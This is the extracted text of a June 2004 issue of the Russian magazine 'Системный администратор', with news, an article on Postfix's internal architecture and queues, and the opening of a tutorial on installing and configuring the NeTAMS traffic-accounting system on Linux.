№6(19) июнь 2004

подписной индекс 81655

www.samag.ru
Архитектура Postfix
Процессы в Linux
Подсчет трафика с помощью NeTAMS
FreeBSD-бинарная совместимость
с Linux
Обзор дистрибутива Securepoint
Возможности Prelude IDS
VMWare co всеми удобствами
Первые шаги в NetBSD
Пиринг
Путь воина – внедрение
в PE/COFF-файлы
№6(19) июнь 2004

Оптимизация работы PHP

при помощи PHPAccelerator
 оглавление

НОВОСТИ 3 ПРОГРАММИРОВАНИЕ

АДМИНИСТРИРОВАНИЕ Процессы в Linux

Общие сведения. Представление процессов в ядре Linux.

Архитектура Postfix Владимир Мешков

Детальное изучение анатомии программы. ubob@mail.ru 42
Андрей Бешков
tigrisha@sysadmins.ru 4 Путь воина – внедрение в PE/COFF-файлы
Крис Касперски
Подсчет трафика с помощью NeTAMS kk@sendmail.ru 52
(Network Traffic Accounting
and Management System)
Простой интерпретатор командного языка
Кирилл Тихонов
aka_shaman@mail.ru 9 Александр Фефелов
fefelov@zvenigorod.ru 72
VMWare со всеми удобствами
WEB
Андрей Бешков
tigrisha@sysadmins.ru 12
Оптимизация работы PHP при помощи
PHPAccelerator
FreeBSD-бинарная совместимость с Linux
Андрей Уваров
Андрей Бешков dashin@ua.fm 78
tigrisha@sysadmins.ru 18

Первые шаги в NetBSD ОБРАЗОВАНИЕ

Часть 1
Пиринг
Александр Байрак Что такое «пиринговые отношения»? Как они выглядят в
x01mer@pisem.net 22 России? Краткая хронология вопроса.

Павел Закляков
БЕЗОПАСНОСТЬ amdk7@mail.ru 82

Точка защиты Управление сетевой печатью

Обзор дистрибутива Securepoint. в Windows 2000
Часть 2
Сергей Яремчук Создание сценария регистрации пользователей в сети,
grinder@ua.fm 30 который будет автоматический управлять подключением
сетевых принтеров.

Прелюдия для защиты Иван Коробко

Возможности Prelude IDS. ikorobko@prosv.ru 88
Сергей Яремчук
grinder@ua.fm 34 BUGTRAQ 80

№6(19), июнь 2004 1


SYSM.03
Итак, подходит время очередного, третьего по счету и
ставшего традиционным Семинара Системных Админис-
траторов и Инженеров (SYSM.03), который проводится
порталом SysAdmins.RU (www.sysadmins.ru) при информа-
ционной поддержке журнала «Системный Администра-
тор».
Что же мы ожидаем в первую очередь от него? Конеч-
но, той же интересной, позитивной и запоминающейся
атмосферы, которая сопровождала все предыдущие се-
минары и которая может быть только среди коллег. Как
обычно, мы ждем всех, кто так или иначе относится к спе-
циалистам IT-индустрии – системных и сетевых админис-
траторов, системных архитекторов, инженеров техподдер-
жки, аналитиков, IT-менеджеров.
На третьем семинаре мы планируем разделить про-
грамму выступлений по нескольким тематическим направ-
лениям, что позволит вам выбрать наиболее интересную
тематику и рационально и плодотворно использовать свое
время. Планируется проводить параллельные сессии вы-
ступлений в нескольких залах.
Традиционно будут выступления представителей круп-
ных интеграторов и IT-корпораций. Они представят новей-
шие решения в области операционных систем, систем ин-
формационной безопасности, серверные и сетевые реше-
ния. Все выступления ориентированы именно на техни-
Новости от компании .masterhost
Хостинг: новая маркетинговая программа
Компания .masterhost представила на рынок новую кли-
ентскую программу «Работа над ошибками».
Так уж повелось на рынке хостинг-услуг, что далеко не
каждый создатель интернет-проектов сразу выбирает пра-
вильный для себя хостинг, поработав некоторое время,
зачастую приходит желание поменять хостинг на более
подходящий.
Компания .masterhost предлагает всем желающим
свою помощь в перемещении интернет-проектов на про-
фессиональную хостинг-площадку. При этом клиент по-
лучает не только широко известное профессиональное об-
служивание в компании .masterhost, но и финансовую ком-
пенсацию в размере предоплаты, не израсходованной на
предыдущем хостинге.
№6(19), июнь 2004
новости
ческих специалистов, на вопросы буду отвечать профес-
сионалы своего дела. Многие решения, речь о которых
пойдёт в выступлениях, будут представлены на стендах.
Участники смогут не только услышать информацию по
этим решениям, но и проверить их в деле.
Выступающими на семинаре являются и наши с вами
коллеги, поэтому если у вас есть интересный опыт реше-
ния нетривиальной задачи или вы считаете себя гуру в
какой-либо области IT-искусства, обязательно присылай-
те заявку на выступление на e-mail sysm@sysm.ru.
Надеемся, что предоставим все возможности для со-
вершенствования ваших навыков, расширения кругозо-
ра и общения с коллегами.
Как обычно, семинар пройдет в уютном и комфортном
месте. Предусмотрены гостиничные номера для иногород-
них гостей.
Отчеты и фотографии с предыдущих семинаров вы
можете найти на www.sysm.ru. Внимательно следите за
обновлениями на сайте, в ближайшее время будет откры-
та регистрация участников, опубликована программа и
размещена информация о времени и месте проведения
семинара.
Организаторы семинара
Портал SysAdmins.RU
Фото Алексея Фомина
Пропускная способность
Техническая служба компании .masterhost сообщает о рас-
ширении пропускной способности транспортных каналов
и установке собственного оборудования на узле связи
MSK-IX.
В настоящий момент суммарная пропускная способ-
ность каналов составляет 3 Гб/сек, из которых 2 Гб/сек со-
единяют .masterhost и ТТК, а 1 Гб/сек связывает .masterhost
с провайдером «Корбина телеком». Точка присутствия на
узле связи MSK-IX обеспечивает возможность динамичес-
кого развития транспортных возможностей технической
площадки .masterhost.
www.masterhost.ru
e-mail: press@masterhost.ru
3
администрирование

АРХИТЕКТУРА POSTFIX

В последнее время очень часто почтовые системы создаются на основе Postfix. Данный пакет
программного обеспечения стал довольно популярен среди администраторов всех видов UNIX-систем.
Причина такого хода событий тривиальна – Postfix характеризуется как феноменально простая
в освоении, удобная в настройке и чрезвычайно устойчивая система. Целью создания этого продукта
была надежда полностью заменить sendmail. Являясь монолитным сервером, sendmail небезопасен,
потому что одна-единственная ошибка может скомпрометировать всю программу.

АНДРЕЙ БЕШКОВ

4

Давайте посмотрим, как выглядит изнутри почтовая сис-
тема, построенная на основе Postfix, и чем она отличает-
ся от других систем, предназначенных для выполнения тех
же задач. Добиться этого можно, сосредоточив свое вни-
мание на детальном изучении анатомии этой программы.
Очень надеюсь, что прилагающаяся к статье схема помо-
жет нам в этом.
Во-первых, хотелось бы сказать, что костяк системы
построен на использовании нескольких полурезидентных
программ. Каждая из них в соответствии с философией
UNIX выполняет только одну задачу, но делает это хоро-
шо. В отличие от стандартного подхода, практикуемого
qmail, при котором главная программа вызывает вспомо-
гательные по мере необходимости и позволяет им уми-
рать, когда они уже не нужны, резидентность служебных
программ позволяет сэкономить на создании новых про-
цессов. Впрочем, если грамотно распределить этапы об-
работки почты для каждой программы и несильно дробить
весь процесс, то подход, исповедуемый qmail-подобными
системами, будет вполне допустим.
В то же время нет необходимости в большом количе-
стве одновременно работающих программ, самостоятель-
но выполняющих одно и то же действие, для находящихся
в обработке писем. Их все можно заменить одним или
несколькими резидентными экземплярами нужной подси-
стемы, обрабатывающими по очереди все поступающие
запросы. Соответственно любая служебная программа при
необходимости может запросто обратиться с запросами
к любому другому компоненту почтовой системы.
Такое жесткое деление на подсистемы позволяет легко
отключать те модули, в которых вы не нуждаетесь. Напри-
мер, на пограничном межсетевом экране нет необходимо-
сти держать включенным модуль, принимающий SMTP-
соединения. Postfix имеет довольно сложное внутреннее
устройство. На момент последнего релиза исходный код
насчитывал 30 000 строк после удаления комментариев.
Но в то же время все построено очень логично, и новому
пользователю не приходится вникать в особенности реа-
лизации сразу после установки системы. Необходимость
изучать систему глубже возникает только тогда, когда хо-
чется сделать что-то нестандартное. Но и тут нас ожидают
приятные неожиданности, благодаря своему логичному
дизайну перевести систему в любой режим работы оказы-
вается достаточно просто. В таком большом комплексе при-
ходится как можно тщательнее заботиться о безопасности
системы. Для этого применяются следующие меры:
! Использование наименьших привилегий. Postfix может
быть легко ограничен с помощью chroot и работать от
имени самого бесправного пользователя.
! Ни одна из служебных программ не использует set-uid
бит.
! Между программами, отвечающими за доставку почты,
и пользовательскими процессами, работающими в си-
стеме, отсутствуют отношения родитель-ребенок. Это
позволяет свести на нет попытки использования эксп-
лоитов, основанных на том, что злонамеренный роди-
тельский процесс может передавать дочернему спе-
циально измененные переменные среды, сигналы, от-
крытые файлы.
№6(19), июнь 2004
администрирование
! Все данные, приходящие из внешних источников по
умолчанию, считаются потенциально опасными, поэто-
му должны быть проверены и отфильтрованы жесто-
чайшим образом.
! Память для текстовых фрагментов и служебных буфе-
ров выделяется динамически, что позволяет значитель-
но снизить вероятность успешного использования оши-
бок переполнения буфера. Слишком большие тексто-
вые массивы обрабатываются после разрезания на
фиксированные фрагменты. После завершения всех
нужных действий они снова склеиваются воедино. Та-
кой подход позволяет существенно уменьшить требо-
вания программы к наличию оперативной памяти.
! Количество объектов, находящихся в памяти, строго
ограничено. Соответственно даже под большой нагруз-
кой Postfix не будет потреблять слишком много сис-
темных ресурсов. Ведь скорость обработки почтовых
сообщений вряд ли вырастет от того, что мы, к приме-
ру, вместо десяти будем использовать двадцать буфе-
ров для обработки писем. Тут уже ограничителем выс-
тупает скорость аппаратных компонентов самой сис-
темы, а не количество объектов для обработки почты,
хранящейся на диске.
Итак, разобравшись с основными концепциями дизай-
на системы, перейдем к детальному рассмотрению ее ар-
хитектуры. Во главе всего стоит демон master, который
обычно запускается командой postfix при старте системы
и работает постоянно до тех пор, пока действует почто-
вая система. Этот супердемон отвечает за запуск по тре-
бованию всех остальных демонов и перезапуск тех из них,
которые преждевременно завершили свою работу из-за
каких-либо проблем. В его обязанности также входит сле-
дить, чтобы количество дочерних процессов не превыша-
ло ограничения установленных в файле master.cf, и что-
бы каждый из них жил не дольше, чем определено на-
стройками почтовой системы. В дальнейшем в статье по
мере возможности вместо слова «демон» я буду употреб-
лять слово «процесс». Думаю, так будет удобнее всего.
Главное, не забывать, что наши демонизированные про-
цессы в отличие от обычных процессов никогда не завер-
шаются самостоятельно, а лишь по приказу от master. Если
те или иные процессы простаивают из-за отсутствия ра-
боты, то по истечении определенного тайм-аута они бу-
дут принудительно завершены в целях экономии памяти.
Между собой все они общаются либо с помощью UNIX-
сокетов, либо через FIFO. Все каналы обмена находятся
в специально защищенной директории. Несмотря на та-
кие предосторожности, все данные, получаемые от раз-
ных подсистем самого Postfix и внешних сущностей, обя-
зательно подвергаются добавочным проверкам.
Потихоньку разобравшись с вопросом, кто здесь глав-
ный, давайте посмотрим, какими путями письма появля-
ются внутри почтовой системы.
Самый частый случай – когда новые письма приходят
через сетевое соединение. Первым делом их получает
SMTP-демон. Если администратор включил соответству-
ющую возможность, то сначала будет произведена про-
верка, не попадает ли письмо под ограничения UCE-филь-
5
 администрирование
трации. UCE (unsolicited commercial email) – невостребо-
ванная коммерческая почта, или, проще говоря, спам. Для
борьбы с ним можно применять следующие меры:
! Фильтрация по служебным заголовкам или телу сооб-
щений.
! Ограничения IP-адресов и имен хостов клиентов, кото-
рым разрешено отправлять почту через нашу систему.
! Принуждение клиентских программ начинать каждую
сессию с команды EHLO. Большинство инструментов,
используемых спамерами для групповой рассылки, не
обучены следовать этому стандарту.
! Требование использовать почтовые адреса, полностью
соответствующие стандарту RFC 821.
! Ограничения, накладываемые на почтовый адрес от-
правителя и получателя сообщения.
! Проверка IP-адреса отправителя по черному списку RBL.
После этого с полученным письмом начинает работать
процесс cleanup, занимающийся его зачисткой. Он про-
водит первоначальные проверки на правильность офор-
мления и формат входящего сообщения, позволяя защи-
тить остальную систему от многих атак, рассчитанных на
переполнение буфера. В случае необходимости добавля-
ет в письмо недостающие служебные заголовки и с помо-
щью процесса по имени trivial-rewrite приводит адреса к
виду: пользователь@поддомен.домен. В postfix пока нет
полноценного языка, позволяющего гибко управлять про-
цессом переписывания адресов, поэтому вместо него ис-
пользуются служебные таблицы canonical и virtual для хра-
нения правил, управляющих перезаписью.
После такой обработки письмо сохраняется на диск в
формате файла почтовой очереди и кладется в директо-
рию, где хранится очередь incoming, обычно это директо-
рия /var/spool/postfix/incoming/. Как вы могли догадаться
по названию, эта очередь используется только для обра-
ботки входящих сообщений. Затем процесс cleanup уве-
домляет процесс queue manager, управляющий всеми оче-
редями о прибытии новой почты.
Следующий случай – письмо, отправленное из нашей
локальной системы с помощью какого-либо скрипта или,
например, с помощью вот такой команды:
echo "mail text" | mail tigrisha@unreal.net -s "test subject"
Во многих UNIX-системах в качестве почтовой програм-
мы и по сей день традиционно используется sendmail.
Соответственно большинство скриптов, написанных ра-
нее и используемых сейчас априори, считает, что в систе-
ме установлена именно эта разновидность почтового сер-
вера. Чтобы не разрушить совместимость с огромным ко-
личеством программного обеспечения при переходе к ис-
пользованию Postfix, в систему вместе с прочими файла-
ми устанавливается программа, заменяющая sendmail.
Таким образом, получается, что команда mail передает
письмо программе sendmail, установленной Postfix, а та в
свою очередь вызывает привилегированную программу
postdrop. Ну а последняя уже кладет файлы с письмами в
служебную директорию maildrop, которая обычно находит-
ся в /var/spool/postfix/maildrop/. Затем письмо подхваты-
6
вает процесс pickup и аналогично SMTP-демону проверя-
ет соответствие послания установленным форматам, в ре-
зультате чего письмо попадает в лапы свободному на дан-
ный момент процессу cleanup. В случае если письмо не
поддается коррекции, то оно немедленно уничтожается.
Стоит отметить, что отправитель не получит никаких из-
вещений о данном прискорбном факте. Если же ничего
аномального не было найдено, то сообщение беспрепят-
ственно попадет в очередь incoming, а queue manager, как
обычно, получит сигнал о появлении новых писем.
Идем дальше. Новая почта также может появиться в
случае, если письмо невозможно доставить адресату и
настройки системы диктуют в данном случае отправлять
оповещения отправителю. При таком повороте событий
процесс bounce или defer генерирует письмо с извещени-
ем о проблеме. Адресовано оно, конечно же, отправите-
лю первоначального сообщения. Другим источником воз-
никновения писем может быть настройка Postfix, застав-
ляющая его отправлять администратору уведомления в
случае проблем c SMTP или нарушения тех или иных по-
литик, которые продиктованы настройками почтовой сис-
темы. Соответственно в обоих случаях, чтобы доставить
письмо адресату, приходится, как обычно, отдать его про-
цессу cleanup и затем отправить в очередь incoming.
Доставка почтовых сообщений
Мы разобрались с тем, какими путями письма появляют-
ся внутри почтовой системы. Теперь все, что находится в
очереди incoming, нужно доставить получателям. Давай-
те посмотрим, как это происходит. Получив от cleanup уве-
домление о поступлении новой почты демон queue manager,
управляющий очередями, перекладывает письмо в оче-
редь active. Кстати, стоит заметить, что эта очередь очень
маленького размера. В ней может находиться всего лишь
несколько писем, которые в данный момент находятся в
процессе доставки. Сделано это по двум причинам. Во-
первых, для того чтобы при большой нагрузке менеджер
очередей не потреблял слишком много памяти. Вторая
причина состоит в том, что в случае, когда принимающая
сторона не в состоянии получать письма с той скоростью,
с которой Postfix старается их передать, приходится при-
тормозить скорость отправки. С малой очередью это де-
лать гораздо проще. Положив письмо в очередь active,
демон queue manager создает запрос к процессу trivial-
rewrite, с помощью которого удается определить точку на-

значения сообщения. В ответ можно будет лишь узнать,
локальный ли получатель или он живет на удаленной сис-
теме. Добавочную информацию о маршрутизации почты
можно получить из файла transport. В зависимости от по-
лученных данных queue manager входит в контакт с од-
ним из следующих агентов доставки:
! Local – используется для доставки почты внутри локаль-
ной системы. Умеет работать со стандартными для UNIX
почтовыми ящиками. В случае если для данного пользо-
вателя не заведено системных псевдонимов, в файле
псевдонимов обычно это /etc/aliases и нет файлов локаль-
ного перенаправления .forward, которые любой пользо-
ватель может создать в своей домашней директории, то
письмо сразу же попадает в целевой почтовый ящик. В
противном случае письмо будет передано туда, куда они
указывают. Возможности локального агента доставки на
этом не заканчиваются. Одновременно могут работать
несколько агентов локальной доставки, но в то же время
параллельная доставка нескольких писем в один почто-
вый ящик обычно не практикуется. Несмотря на то, что
агент локальной доставки может самостоятельно спра-
виться со всеми проблемами, по желанию администра-
тор может задействовать механизмы, позволяющие пе-
редоверить доставку в почтовый ящик внешним програм-
мам. Примером такой программы может служить широ-
ко известный многим администраторам procmail.
! Virtual – агент виртуальной доставки представляет со-
бой очень урезанную версию агента локальной достав-
ки. Поэтому он может работать только с почтовыми ящи-
ками в формате mailbox. В нем также отсутствует под-
держка системной базы псевдонимов и файлов .forward.
За счет таких ограничений данный агент доставки счи-
тается самым безопасным из всех. Благодаря своей при-
роде он может легко работать с почтой, предназначен-
ной для нескольких виртуальных доменов, располагаю-
щихся на одной и той же машине.
! SMTP-клиент, являющийся еще одним агентом, вступа-
ет в действие в тот момент, когда нужно доставить пись-
мо пользователю удаленной системы. Обычно queue
manager передает ему следующие данные: имя файла
очереди, адрес получателя, хост или домен, куда нужно
доставить почту, адрес отправителя. Первым делом с по-
мощью DNS-запроса нужно получить список MX-серве-
ров для целевого домена и отсортировать его по приори-
тету. Следующим шагом мы начинаем пробовать каж-
дый адрес до тех пор, пока не найдем тот, который нахо-
дится в рабочем состоянии. Обычно доставка идет одно-
временно сразу для нескольких доменов, поэтому в сис-
темах, через которые проходит большой поток почты,
можно увидеть несколько SMTP-клиентов, работающих
параллельно. Если доставка завершилась удачно, то
SMTP-клиент модифицирует файл почтовой очереди так,
чтобы было понятно, что он обработан. В противном слу-
чае данный клиент уведомляет queue manager либо о
фатальной ошибке, либо о временных затруднениях.
Проблемы первого типа могут быть вызваны отсутстви-
ем нужного пользователя удаленной системы, а вторые,
к примеру, неполадками в сети или неработоспособнос-
тью принимающего сервера. В первом случае процесс
№6(19), июнь 2004
администрирование
bounce посылает отправителю оповещение о неудаче
предпринятого действия и делает запись в протокол ра-
боты почтовой системы с помощью syslogd. А во втором
письмо помещается в специальную очередь deferred, где
оно должно дожидаться следующей попытки доставки.
! LMTP-клиент работает точно так же, как и SMTP-кли-
ент, разве что протокол используется другой. LMTP спе-
циально создан для того, чтобы доставлять письмо на
локальный или удаленный сервер, выделенный для
хранения почтовых ящиков. В таком качестве могут вы-
ступать Courier- или Cyrus-сервер. Большим плюсом
такого подхода к доставке писем является то, что один
сервер Postfix может раздавать письма разным серве-
рам почтовых ящиков. В то же время никто не мешает
одному серверу почтовых ящиков получать почту от
нескольких серверов postfix одновременно.
! Pipe mailer-интерфейс, предназначенный для работы
с внешними транспортными агентами. Примером та-
кого взаимодействия может служить работа с UUCP.
В то же время никто не мешает нам привязать к дан-
ному интерфейсу свой самодельный транспорт.
Как я уже говорил ранее, в случае если доставка не
удалась, менеджер очередей переправляет файл, в кото-
ром хранится письмо, в директорию, где находится оче-
редь deferred. В ней складируются отложенные до лучших
времен письма. На файл с письмом ставится временной
штамп, находящийся в будущем, соответственно следую-
щая обработка этого файла произойдет именно в тот мо-
мент, на который указывает штамп. Периодически менед-
жер очередей проверяет, не пришло ли время предпри-
нять следующую попытку доставки отложенных сообще-
ний. В случае если есть необходимость выполнить оче-
редную попытку раньше, чем истечет тайм-аут, нужно вос-
пользоваться командой postfix flush.
Следующим интересным для нас понятием является
очередь corrupt. В нее попадают все поврежденные, не-
читаемые или неправильно отформатированные файлы
почтовых очередей. Такая предосторожность позволяет
изолировать подозрительные данные до тех пор, пока ад-
министратор системы не решит, что с ними делать. Впро-
чем, за несколько лет непрерывной работы моего серве-
ра мне так и не удалось увидеть ни одного случая, чтобы
сообщение попало в эту очередь.
Последняя из существующих в системе очередей на-
зывается hold. Здесь хранятся письма, доставка которых
приостановлена по тем или иным причинам. Они будут
находиться в этой очереди, пока не поступит специаль-
ная команда, выводящая их из состояния паузы.
Менеджер очередей может работать в разных режи-
мах, обычно они называются стратегиями. В то же время
никто не мешает их комбинировать между собой. Давай-
те рассмотрим характерные особенности каждого из них.
! leaky bucket – дырявое ведро. Жестко ограничивает ко-
личество сообщений в очереди active, тем самым за-
щищая менеджера очередей от потребления чрезмер-
ного объема памяти. Большая часть сообщений для до-
ставки берется из очереди incoming и лишь малая часть
из deferred.
7
 администрирование
! Fairness – честная очередь. В случае если очередь телось бы немного поговорить о сопутствующих утилитах,
active не заполнена, письма берутся равномерно из
deferred и incoming. Что дает залежавшейся почте боль-
ше шансов быть доставленной, даже если система
очень сильно загружена.
! slow start – медленный старт. Данная стратегия позво-
ляет бороться с заторами, которые могут образовать-
ся, если принимающая сторона слишком медленно об-
рабатывает входящие запросы, а очередь предназна-
ченной ей почты слишком велика. Соответственно нуж-
но подобрать ровно такое количество одновременных
потоков доставок, чтобы сервер успевал обрабатывать
их все, не теряя ни одного из-за перегрузки и следую-
щих за этим тайм-аутов. Подстройка обычно произво-
дится с помощью плавного уменьшения количества
одновременных попыток доставки.
! round robin – круговая сортировка. Обычно менеджер
очередей сортирует очередь на доставку по пунктам
назначения. С помощью этой стратегии вероятность
доставки более равномерно распределяется по всем
пунктам назначения, что обеспечивает честные усло-
вия конкуренции для каждого пункта.
! exponential backoff – экспоненциальный откат. Почта,
которая не может быть доставлена с первой же попыт-
ки, попадает в очередь deferred. После каждой неудач-
ной попытки доставки тайм-аут увеличивается вдвое.
Таким образом, почта для недееспособных узлов не
будет потреблять слишком много ресурсов отправля-
ющей системы напрасными попытками доставки.
! destination status cache – кэширование статуса. Менед-
жер очередей поддерживает таблицу, в которой неко-
торое время хранятся статусы предыдущих попыток до-
ставок. Соответственно это позволяет сэкономить на
повторных попытках, обращенных на недоступные
узлы.
Кроме всех перечисленных функций менеджер очере-
дей может делать еще одну приятную мелочь. В случае
если нам нужно создавать стандартные оповещения, го-
ворящие отправителю исходного сообщения о том, что ка-
кие-то почтовые адреса или целые домены перестали су-
ществовать или переменили свои названия, мы можем
воспользоваться файлом relocated. Я думаю, это доволь-
но удобная возможность. К примеру, представим себе та-
кую ситуацию: в офисе есть пользователь с адресом
Irina.Petrova@firma.ru. По какой-то причине она решила
сменить фамилию. С женщинами в жизни такое случает-
ся вообще достаточно часто. Самым типичным решени-
ем было бы завести новый адрес типа Irina.Vasilieva@
firma.ru и поставить пользователю задачу самостоятель-
но оповестить о смене адреса всех, с кем она когда-либо
общалась по почте. Конечно, можно создать псевдоним
первого адреса, указывающий на второй, но, согласитесь,
это неудобно. Мы поступим проще, а именно: запишем
пару из старого и нового адреса в /etc/postfix/relocated и
postfix начнет отправлять уведомления о невозможности
доставки с указанием нового адреса в ответ на каждое
письмо, предназначенное старому адресу.
Закончив обсуждать ключевые подсистемы Postfix, хо-
8
о которых мы еще не успели поговорить.
! mailq – программа, позволяющая смотреть список пи-
сем, находящихся в почтовых очередях. На самом деле
эта программа является всего лишь интерфейсом к де-
мону showq, который вызывается через команду
sendmail -bp.
! postsuper – предназначена для обслуживания почтовых
очередей. Одним из применений является удаление
какого-либо сообщения или повторная установка его в
очередь на доставку. В то же время не стоит забывать
об утилите postqueue, которая также создана для управ-
ления очередями. Единственное различие в них это то,
что для работы c postsuper требуются права root, а для
postqueue таких широких полномочий не нужно, хотя за
счет этого теряется часть функционала.
! postalias – используется для создания баз псевдони-
мов или выполнения запросов к этим базам. Для со-
вместимости с sendmail существует команда
newaliases, делающая то же самое, что и postalias.
! postconf – показывает состояние конфигурационных
переменных Postfix.
! postlog – команда, которую можно использовать для
записи данных в протоколы работы Postfix. Полезна для
использования в своих собственных скриптах.
! postcat – данная утилита, позволяющая посмотреть со-
держимое файла почтовой очереди.
! postmap – используется для выполнения запросов к
вспомогательным таблицам или для создания таких
таблиц из текстовых файлов. Перевод данных из тек-
стовой формы в табличную довольно сильно ускоряет
процедуру выполнения запросов.
! postlock – позволяет работать с блокировками, уста-
новленными Postfix на файлы. Обычно применяется
для написания скриптов.
! postkick – предназначена для отправки сигналов по ка-
налам межпроцессового обмена внутри Postfix. Удоб-
на для организации взаимодействия между внутрен-
ними процессами Postfix и самописными скриптами.
! spawn – демон, позволяющий подключить внешнюю си-
стему фильтрации содержимого сообщений. На дан-
ный момент находится в стадии активной разработки,
и хотя работает достаточно надежно, но в силу осо-
бенностей реализации создает слишком большую на-
грузку на систему. Скорее всего в следующих версиях
Postfix будет заменен на что-то лучшее.
! proxymap – сервис, позволяющий централизованно вы-
полнять запросы ко всем служебным таблицам вмес-
то того, чтобы каждый из процессов выполнял их са-
мостоятельно. Еще одним применением может быть
предоставление Postfix доступа к файлам, находящим-
ся за рамками ограничений, накладываемых chroot.
Вот и подошло к концу наше повествование. Надеюсь,
что данный труд поможет тем, кто использует Postfix, луч-
ше понимать механизмы его жизнедеятельности. Ну а для
тех, кто пока еще не задумывался о необходимости по-
ставить его на свой сервер, эта статья, возможно, станет
первым шагом к такому решению.

ПОДСЧЕТ ТРАФИКА С ПОМОЩЬЮ
NETAMS
Существует большое количество программ, предназначенных для подсчета трафика и сбора
статистики. Сегодня мы рассмотрим одну из них, которая, на мой взгляд, будет одинаково
интересна и новичкам, и специалистам.
NeTAMS – Network Traffic Accounting and Management
System (www.netams.com) предназначена для контроля и
учета сетевого трафика, проходящего через сервер. Ра-
ботает под управлением операционных систем FreeBSD
(4.3 и старше) и Linux (ядро 2.4 или выше и iptables).
Краткие характеристики:
! Работа с БД MySQL, PostgreSQL, unix hash.
! Контроль доступа, квот и прав пользования.
! Вывод статистики прямым запросом или через веб-ин-
терфейс.
! Управление посредством соединения клиентом telnet
на некий tcp-порт сервера.
! Веб-интерфейс для отображения статистики.
Установку программы нельзя назвать тривиальной.
В качестве сервера будем использовать Linux, посколь-
ку с ним, в отличие от FreeBSD, возникает большинство
проблем. Сервер является маршрутизатором с 2 сете-
выми картами, одна смотрит в Интернет, другая – в ло-
кальную сеть.
№6(19), июнь 2004
администрирование
КИРИЛЛ ТИХОНОВ
Нам понадобится пакетный фильтр iptables и входящая
в него библиотека libipq. Библиотека libipq добавляет цель
QUEUE, т.е. очередь. Забегая вперед, скажу, что весь тра-
фик заворачивается с помощью QUEUE в системную оче-
редь, из которой пакеты берет NeTAMS, анализирует и от-
дает обратно.
Скачиваем пакетный фильтр с www.netfilter.org, распа-
ковываем и компилируем (предполагается, что текущее
ядро лежит в /usr/src/linux):
#
#
tar xvfj iptables-1.2.9.tar.bz2
cd iptables-1.2.9
# make KERNEL_DIR=/usr/src/linux
#
#
make install
make install-devel
Последняя строка позволяет установить библиотеку libipq.
Скачиваем NeTAMS с www.netams.org, последняя версия
на момент написания статьи 3.1(1801), и распаковываем:
# tar xvfz netams-3.1.1801.tar.gz
# cd netams-3.1.1801
# vi Makefile
9
 администрирование
Скрипта configure здесь нет, поэтому редактируем
Makefile. Он хорошо документирован, поэтому разобрать-
ся в опциях не составляет труда. Для начала комментиру-
ем все, относящееся к FreeBSD, а именно строки 13, 14,
17, 25, 26. После этого раскомментируем строки, относя-
щиеся к Linux: строки 34 и 35. Далее выбираем тип БД:
DB1 (unix hash), MySQL или PostgreSQL и раскомменти-
руем относящиеся к ним строки. Само собой, используе-
мая БД должна быть уже установлена и настроена. Мы
выбираем MySQL. Поскольку мы используем iptables-1.2.9,
то надо раскомментировать строку 50.
Далее правим пути к конфигурационному файлу и ло-
гам (строки 56, 57) и компилируем:
# make
Результатом компиляции будут 2 файла: netams – сама
программа и netamsctl – утилита для автоматизации вы-
полнения повседневных работ. Цели install в Makefile нет,
поэтому устанавливаем вручную:
# cp src/netams /usr/local/bin
# cp src/netamsctl /usr/local/bin
Отлично, программа установлена. Но прежде чем мы
начнем писать конфигурационный файл, настроим MySQL.
В принципе необходимости ручного создания БД нет.
При первом запуске NeTAMS создаст ее сам. Однако сде-
лать это возможно только под пользователем с правами
администратора MySQL. Мы же заведем отдельного
пользователя с именем netamsuser и паролем passwd и
вручим ему права на доступ к БД.
Итак:
# mysql –u root –p
Enter password:
Создаем базу netams, в которую NeTAMS будет писать
данные:
mysql> create database netams;
mysql> connect netams;
Вручаем права пользователю netams-user:
mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE
on netams.* to netamsuser;
mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE
on netams.* to netamsuser@localhost;
и задаем пароль пользователя netamsuser:
mysql> connect mysql;
mysql> set password for ↵
'netamsuser'@'localhost'=password('passwd');
mysql> set password for 'netamsuser'@'%'=password('passwd');
Для того чтобы внесенные изменения вступили в силу,
обновляем активные привилегии и выходим:
mysql> flush privileges;
mysql> exit
Все, БД готова к приему данных от NeTAMS. Начнем
писать конфигурационный файл /etc/netams.cfg:
10
debug none
user name admin real-name Admin email root@localhost ↵
password 123 permit all
service server 0
login any
listen 20001
max-conn 6
При запуске программа с такой конфигурацией ниче-
го считать не будет. К ней можно только подключиться с
помощью telnet и просмотреть конфигурацию.
Разберем файл построчно. Строка debug none отклю-
чает вывод отладочной информации. Следующая строка
определяет пользователя:
! user name admin – логин;
! real-name Admin – реальное имя;
! email root@localhost – email;
! password 123 – пароль (незашифрованный);
! permit all – разрешено все.
Следующая строка начинает описание сервиса server.
Этот сервис обеспечивает возможность подключения к
работающей программе с помощью telnet:
! service server 0 – начало описания сервиса. Каждый
сервис должен иметь номер. Это нужно для того, что-
бы можно было описать несколько одинаковых серви-
сов. Например, несколько сервисов storage, которые
будут хранить разную информацию в разных БД.
! login any – пустить всех.
! listen 20001 – слушать tcp-порт 20001.
! max-conn 6 – максимальное число одновременных под-
ключений.
Запустим программу:
# netams –ld
К ней можно подключиться, набрав:
telnet netams_host 20001
Далее надо ввести логин и пароль – в нашем случае
admin и 123. Введя «?», можно получить справку по ко-
мандам.
↵ Теперь займемся подсчетом трафика.
↵ В уже созданный файл допишем еще несколько сер-
висов, после чего он примет вид:
debug none
user name admin real-name Admin email root@localhost ↵
password 123 permit all
service server 0
login any
listen 20001
max-conn 6
service processor 0
lookup-delay 10
policy acct name all-ip target ip
restrict all pass local pass
unit host name linux-gw ip 195.x.x.x acct-policy all-ip
storage 1 all
service storage 1
type mysql
user netamsuser

password passwd
service data-source 1
type ip-traffic
service html 1
path /var/www/localhost/netams
run 1min
client-pages all
Разберем написанное. Обращаю внимание, что в пре-
делах одного сервиса пустые строки недопустимы. Дело
в том, что с точки зрения NeTAMS после пустой строки
должно идти начало нового сервиса, и в случае обнару-
жения пустой строки, за которой не идет определение сер-
виса, NeTAMS будет аварийно завершать работу.
! service processor 0 – ядро системы, в нем определяют-
ся объекты, по которым будет идти учет.
! policy acct name all-ip target ip – определяет политику,
по которой будет производиться подсчет трафика, в
данном случае политика с именем all-ip (параметр
name) будет считать весь IP-трафик. Параметр target
может принимать следующие значения:
! ip – весь IP-трафик;
! icmp – весь icmp-трафик;
! tcp – весь tcp-трафик;
! udp – весь udp-трафик;
! tcp-http – весь tcp-трафик, входящий или исходящий,
